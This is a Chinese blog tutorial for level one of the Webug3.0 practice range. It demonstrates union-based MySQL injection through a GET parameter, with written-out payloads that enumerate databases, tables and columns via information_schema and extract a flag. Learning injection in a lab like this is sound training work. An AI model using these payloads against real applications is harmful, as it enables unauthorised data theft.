Webug3.0 教程 第一关:很简单的一个注入 普通的GET注入

Webug3.0 教程

第一关:很简单的一个注入 普通的GET注入

说明:以下步骤是我打靶场的记录,与大家分享我的学习过程,请各位大佬指正。
本题考点:SQL注入之mysql的联合查询爆破。

1. 打开本题,看到的是这样的界面

在这里插入图片描述
在这里插入图片描述

2. 在原始URL后分别加’和’’,在输入’时数据库报错,发现有字符型SQL注入漏洞

数据库对于单引号的规则:
1.单引号必须成对出现,否则数据库就会报错;
2.如果两个单引号之间内容为空,数据库自动忽略。
注入一个单引号:Select…from…where id=’1’’
注入两个单引号:Select…from…where id=’1’’’
报错,意味着输入的单引号被数据库成功执行。
在这里插入图片描述
在这里插入图片描述

3. 利用order by语句猜数列,在输入1-4时页面正常,输入5时页面报错,说明有4个数列

Order by语句用于对结果集进行排序。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

4. 用union select 测试显示位

UNION操作符用于合并两个或多个 SELECT 语句的结果集。请注意,UNION 内部的每个 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每个 SELECT 语句中的列的顺序必须相同。

Select()用于查询表格内字段数据。
在这里插入图片描述

5.查数据库版本,用户和当前数据库名

select version():查询数据库版本;
select user():查询数据库用户名;
select database():查询数据库名。

查询本题的所有数据库,可用union select group_concat(schema_name),2,3,4 from
information_schema.schemata-- +

查询当前数据库,可用union select database(),2,3,4-- -(也可将-- -换成%23等)
在这里插入图片描述

6.从当前数据库中查表名

%23是#的ASCII码,由于在地址栏中直接输入#后到数据库系统中会变成空,需要在地址栏中输入%23,那么才会变成#,进而注释掉后面的sql语句。

可以使用%23(#),–%123456(至少两位的数字),–%12%12这些数据库注释符号,进行注释。

方法一:查询当前数据库的表名union select 1,group_concat(table_name),3,4 from
information_schema.tables where table_schema = database() %23

方法二:查询指定数据库的表名union select group_concat(table_name),2,3,4 from
information_schema.tables where table_schema =‘pentesterlab’%23

在这里插入图片描述
在这里插入图片描述

7.从flag表中查列名

union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name = ‘flag’ %23
在这里插入图片描述

8.从flag列中查flag值

union select 1,flag,3,4 from flag %23
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/weixin_44716769/article/details/103049823